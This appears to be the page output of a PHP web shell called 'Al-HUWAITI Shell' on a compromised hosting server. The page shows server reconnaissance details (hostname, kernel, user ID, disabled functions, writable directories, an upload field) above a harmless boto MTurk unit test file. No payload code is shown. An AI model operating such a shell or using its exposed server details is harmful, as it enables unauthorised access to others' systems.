Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/gsutil/gslib/vendored/boto/tests/mturk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/gsutil/gslib/vendored/boto/tests/mturk/create_hit_external.py
import unittest
import uuid
import datetime
from boto.mturk.question import ExternalQuestion

from ._init_environment import SetHostMTurkConnection, external_url, \
        config_environment

class Test(unittest.TestCase):
        def setUp(self):
                config_environment()

        def test_create_hit_external(self):
                q = ExternalQuestion(external_url=external_url, frame_height=800)
                conn = SetHostMTurkConnection()
                keywords=['boto', 'test', 'doctest']
                create_hit_rs = conn.create_hit(question=q, lifetime=60*65, max_assignments=2, title="Boto External Question Test", keywords=keywords, reward = 0.05, duration=60*6, approval_delay=60*60, annotation='An annotation from boto external question test', response_groups=['Minimal', 'HITDetail', 'HITQuestion', 'HITAssignmentSummary',])
                assert(create_hit_rs.status == True)

if __name__ == "__main__":
        unittest.main()

Al-HUWAITI Shell